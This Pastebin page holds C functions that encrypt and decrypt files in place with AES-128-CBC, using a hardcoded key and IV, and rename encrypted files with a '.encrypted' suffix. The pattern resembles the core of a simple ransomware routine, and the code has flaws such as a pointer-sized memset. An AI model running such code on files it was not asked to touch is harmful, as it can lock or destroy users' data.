Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- unsigned char clave[] = "testkey123456789";
- unsigned char iv[] = "ivkey12345678912";
- void desencriptar(char *archivo_nombre) {
- FILE *archivo = fopen(archivo_nombre, "r");
- if(!archivo) {
- fprintf(_log, "No se pudo abrir el archivo\n");
- return;
- }
- fseek(archivo, 0, SEEK_END);
- int size = ftell(archivo);
- fseek(archivo, 0, SEEK_SET);
- unsigned char *buffer = malloc(sizeof(char) * size);
- unsigned char *salida = malloc(size*2);
- memset(buffer, 0, sizeof(buffer));
- fread(buffer, size, 1, archivo);
- fclose(archivo);
- archivo = fopen(archivo_nombre, "w");
- if(!archivo){
- fprintf(_log, "No se pudo abrir el archivo\n");
- return;
- }
- int outLen1 = 0; int outLen2 = 0;
- EVP_CIPHER_CTX ctx;
- EVP_DecryptInit(&ctx,EVP_aes_128_cbc(),clave,iv);
- EVP_DecryptUpdate(&ctx,salida,&outLen1,buffer,size);
- EVP_DecryptFinal(&ctx,salida + outLen1,&outLen2);
- fwrite(salida,sizeof(char),outLen1 + outLen2,archivo);
- fprintf(_log, "Desencriptado, nombre: %s\n", archivo_nombre);
- fclose(archivo);
- free(buffer);
- free(salida);
- }
- void encriptar(char *archivo_nombre) {
- if(!archivo_nombre) return;
- FILE *archivo = fopen(archivo_nombre, "r");
- if(!archivo) {
- fprintf(_log, "No se pudo abrir el archivo\n");
- MessageBox(NULL, "ds", "s", MB_OK);
- return;
- }
- fseek(archivo, 0, SEEK_END);
- int size = ftell(archivo);
- fseek(archivo, 0, SEEK_SET);
- unsigned char *buffer = malloc(sizeof(char) * size);
- unsigned char *salida = malloc(size*2);
- memset(buffer, 0, sizeof(buffer));
- fread(buffer, size, 1, archivo);
- fclose(archivo);
- archivo = fopen(archivo_nombre, "w");
- if(!archivo){
- fprintf(_log, "No se pudo abrir el archivo\n");
- return;
- }
- if(size > 0) {
- fprintf(_log, "Encriptando %s...\n", archivo_nombre);
- int outLen1 = 0; int outLen2 = 0;
- EVP_CIPHER_CTX ctx;
- EVP_EncryptInit(&ctx,EVP_aes_128_cbc(),clave,iv);
- EVP_EncryptUpdate(&ctx,salida,&outLen1,buffer,size);
- EVP_EncryptFinal(&ctx,salida + outLen1,&outLen2);
- fwrite(salida,sizeof(char),outLen1 + outLen2,archivo);
- }
- fclose(archivo);
- free(buffer);
- free(salida);
- char nombrenuevo[1024];
- sprintf(nombrenuevo, "%s.encrypted", archivo_nombre);
- rename(archivo_nombre, nombrenuevo);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement